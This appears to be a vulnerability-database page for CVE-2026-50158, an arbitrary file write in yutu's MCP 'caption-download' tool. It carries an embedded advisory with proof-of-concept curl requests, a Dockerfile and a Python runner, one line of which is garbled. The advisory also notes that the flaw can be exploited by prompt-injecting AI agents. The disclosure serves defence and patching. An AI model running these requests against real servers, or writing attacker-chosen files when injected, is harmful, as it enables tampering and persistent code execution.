CVE-2026-50158: yutu Arbitrary File Write Vulnerability
HIGHCVE-2026-50158 is a HIGH (CVSS 7.7) arbitrary file write vulnerability (CWE-73: External Control of File Name or Path) affecting yutu libraries in the Go ecosystem. The issue involves arbitrary file write via mcp `caption-download` tool. Remediation is available by upgrading affected packages to version 0.10.9-dev1.
CVE-2026-50158 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-50158
To remediate this vulnerability, upgrade all affected yutu dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/eat-pray-ai/yutu to 0.10.9-dev1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/eat-pray-ai/yutu
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-50158, inspect your project dependencies for yutu:
inspect dependencies for github.com/eat-pray-ai/yutu
Analyze the terminal output to locate any version of yutu in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.10.9-dev1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In yutu, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-50158 Affected yutu Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/eat-pray-ai/yutu
|
Go |
< 0.10.9-dev1
|
0.10.9-dev1
|
References
Frequently Asked Questions
What is CVE-2026-50158?
Which yutu versions are affected?
What version fixes CVE-2026-50158?
Is github.com/eat-pray-ai/yutu affected?
What is the CVSS score of CVE-2026-50158?
What CWE is associated with CVE-2026-50158?
How can I check Go dependencies for CVE-2026-50158?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2c7f-fxww-6w6c",
"modified" : "2026-07-14T19:34:47Z",
"published" : "2026-07-14T19:34:47Z",
"aliases" : [ "CVE-2026-50158" ],
"summary" : "yutu: Arbitrary File Write via MCP `caption-download` Tool",
"details" : "## Arbitrary File Write via MCP `caption-download` Tool\n\n### Summary\n\nThe `caption-download` MCP tool in yutu passes the caller-supplied `file` parameter directly to `os.Create()` at `pkg/caption/caption.go:272` without any path validation, canonicalization, or confinement to the `pkg.Root` boundary (`YUTU_ROOT`). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a **High** severity vulnerability (CVSS 7.7) with high integrity and availability impact.\n\n### Details\n\nyutu uses `pkg.Root` (backed by Go 1.24's `os.OpenRoot`) to restrict all file I/O to the `YUTU_ROOT` directory. Every other caption file-write path honours this boundary:\n\n| Method | Sink | Confined? |\n|--------|------|-----------|\n| `Caption.Insert()` | `pkg.Root.Open(c.File)` (`caption.go:109`) | Yes |\n| `Caption.Update()` | `pkg.Root.Open(c.File)` (`caption.go:193`) | Yes |\n| `Caption.Download()` | `os.Create(c.File)` (`caption.go:272`) | **No** |\n\n`Caption.Download()` is the sole outlier. The attacker-controlled `file` field flows without restriction from the MCP tool input schema to a raw `os.Create()` call:\n\n1. **Source** — `cmd/caption/download.go:32–41`: `downloadInSchema` declares `file` as a required `string` field in the MCP JSON input schema.\n2. **Binding** — `cmd/caption/download.go:61–64`: `cobramcp.GenToolHandler` maps MCP input to `input.Download(writer)`.\n3. **Sink** — `pkg/caption/caption.go:272`: `os.Create(c.File)` creates or truncates the file at the attacker-supplied path.\n4. **Write** — `pkg/caption/caption.go:280`: `file.Write(body)` writes the downloaded caption bytes to that path.\n\n```go\n// cmd/caption/download.go\nvar downloadInSchema = &jsonschema.Schema{\n Required: []string{\"ids\", \"file\"}, // line 34\n // ...\n \"file\": {Type: \"string\", Description: fileUsage}, // line 40\n}\n\n// cobramcp.GenToolHandler binds MCP → handler (line 61-64)\ncobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {\n return input.Download(writer)\n})\n\n// pkg/caption/caption.go\nbody, err := io.ReadAll(res.Body) // line 267\nfile, err := os.Create(c.File) // line 272 ← unconfined sink\n// ...\n_, err = file.Write(body) // line 280\n```\n\nThe `caption-download` tool is registered by default in `init()` at `cmd/caption/download.go:52`, and the HTTP MCP server starts with `--auth` defaulting to `false` (`cmd/mcp.go:42`), meaning no authentication is required for local HTTP callers.\n\n**Recommended fix:**\n\n```diff\n--- a/pkg/caption/caption.go\n+++ b/pkg/caption/caption.go\n@@\n- file, err := os.Create(c.File)\n+ file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n if err != nil {\n return errors.Join(errDownloadCaption, err)\n }\n```\n\n### PoC\n\n**Prerequisites:**\n- yutu `0.0.0-dev` / commit `351c99d`\n- Valid `YUTU_CREDENTIAL` and `YUTU_CACHE_TOKEN` available\n- yutu MCP server running in HTTP mode\n\n**Docker-based reproduction (no live credentials needed):**\n\nThe self-contained PoC builds a binary that exercises `caption.Download()` directly inside a container, with `YUTU_ROOT=/tmp/yutu_safe_root` as the confinement boundary.\n\n```bash\n# From the report workspace root:\ndocker build --no-cache -t yutu-vuln001-poc \\\n -f vuln-001/Dockerfile \\\n reports/mcp_49_eat-pray-ai__yutu\n\ndocker run --rm yutu-vuln001-poc\n```\n\nExpected output confirms:\n- `pkg.Root.Open(\"/tmp/poc-arbitrary-write.txt\")` is correctly rejected with `path escapes from parent` (control).\n- `caption.Download()` with `file=\"/tmp/poc-arbitrary-write.txt\"` succeeds and creates a 79-byte file **outside** `YUTU_ROOT` (exploit).\n\n**Live MCP server reproduction:**\n\n```bash\n# Start the HTTP MCP server (no auth by default)\nyutu mcp --mode http --port 8216\n\n# Initialise session\ncurl -sD /tmp/yutu.headers \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n http://localhost:8216/mcp \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1\"}}}' \\\n >/tmp/yutu.init\n\nSID=$(awk 'tolower($1)==\"mcp-session-id:\"{print $2}' /tmp/yutu.headers | tr -d '\\r')\n\n# Exploit: write caption to arbitrary path\n# Replace CAPTION_ID with a caption id accessible by the configured token\ncurl -s \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n ${SID:+-H \"Mcp-Session-Id: $SID\"} \\\n http://localhost:8216/mcp \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"caption-download\",\"arguments\":{\"ids\":[\"CAPTION_ID\"],\"file\":\"/tmp/yutu-cve-poc.srt\",\"tfmt\":\"srt\"}}}'\n\n# Verify file was written outside YUTU_ROOT\ntest -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt\n```\n\n### Impact\n\nThis is an **Arbitrary File Write** vulnerability. Any principal that can invoke the `caption-download` MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (`--auth false`) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the `YUTU_ROOT` confinement boundary that all other file-write operations in yutu respect.\n\n**Potential consequences include:**\n- Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.\n- Corrupting log files or database files to cause denial of service.\n- Writing web-accessible files in deployments where yutu runs alongside a web server.\n- Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the `file` parameter is fully attacker-controlled with no guardrails.\n\nImpacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose `caption-download` to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile\n# Build con: reports/mcp_49_eat-pray-ai__yutu/\n# repo/ - the cloned yutu repository\n# vuln-001/ - this workspace (Dockerfile, poc_main.go)\n\nFROM golang:1.26 AS builder\nWORKDIR /build\n\n# Copy the yutu source tree (provides the vulnerable packages)\nCOPY repo/ .\n\n# Inject PoC as a new command package (does not modify existing source)\nRUN mkdir -p cmd/poc_exploit\nCOPY vuln-001/poc_main.go cmd/poc_exploit/main.go\n\n# Build the PoC binary (static, no CGO needed)\nRUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/\n\n# ── Runtime stage ──────────────────────────────────────────────────────────\nFROM debian:12-slim\n\nCOPY --from=builder /poc /poc\n\n# YUTU_ROOT defines the pkg.Root confinement boundary.\n# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,\n# demonstrating the os.Create bypass.\nENV YUTU_ROOT=/tmp/yutu_safe_root\n\nRUN mkdir -p /tmp/yutu_safe_root\n\nCMD [\"/poc\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC Runner\nExploit: Arbitrary File Write via MCP caption-download (CWE-73)\nTarget : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement\n\nUsage: python3 poc.py\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nCONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nIMAGE_NAME = \"yutu-vuln001-poc\"\n\n\ndef run(cmd, check=False, **kwargs):\n print(\"$ \" + \" \".join(str(a) for a in cmd))\n result = subprocess.run(cmd, =True, **kwargs)\n return result\n\n\ndef main():\n print(\"=\" * 70)\n print(\"VULN-001: Arbitrary File Write via MCP caption-download\")\n print(\"CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)\")\n print(\"=\" * 70)\n\n # ── Build ────────────────────────────────────────────────────────────────\n build_cmd = [\n \"docker\", \"build\",\n \"--no-cache\",\n \"-t\", IMAGE_NAME,\n \"-f\", DOCKERFILE,\n CONTEXT_DIR,\n ]\n print(\"\\n[Step 1] Building Docker image ...\")\n result = run(build_cmd, capture_output=False)\n if result.returncode != 0:\n print(\"\\n[FAIL] Docker build failed.\", file=sys.stderr)\n sys.exit(1)\n\n # ── Run ──────────────────────────────────────────────────────────────────\n run_cmd = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n print(\"\\n[Step 2] Running PoC container ...\")\n result = run(run_cmd, capture_output=True)\n\n stdout = result.stdout or \"\"\n stderr = result.stderr or \"\"\n print(stdout, end=\"\")\n if stderr:\n print(stderr, end=\"\", file=sys.stderr)\n\n # ── Verdict ──────────────────────────────────────────────────────────────\n passed = (\n result.returncode == 0\n and \"VULNERABILITY CONFIRMED\" in stdout\n and \"PASS\" in stdout\n and \"os.Create bypasses pkg.Root\" in stdout\n )\n\n if passed:\n print(\"\\n[RESULT] PASS – vulnerability dynamically reproduced.\")\n else:\n print(f\"\\n[RESULT] FAIL – container exit code {result.returncode}.\", file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/eat-pray-ai/yutu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.10.9-dev1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c"
}, {
"type" : "WEB",
"url" : "https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/eat-pray-ai/yutu"
}, {
"type" : "WEB",
"url" : "https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9-dev1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-73" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-14T19:34:47Z",
"nvd_published_at" : null
}
}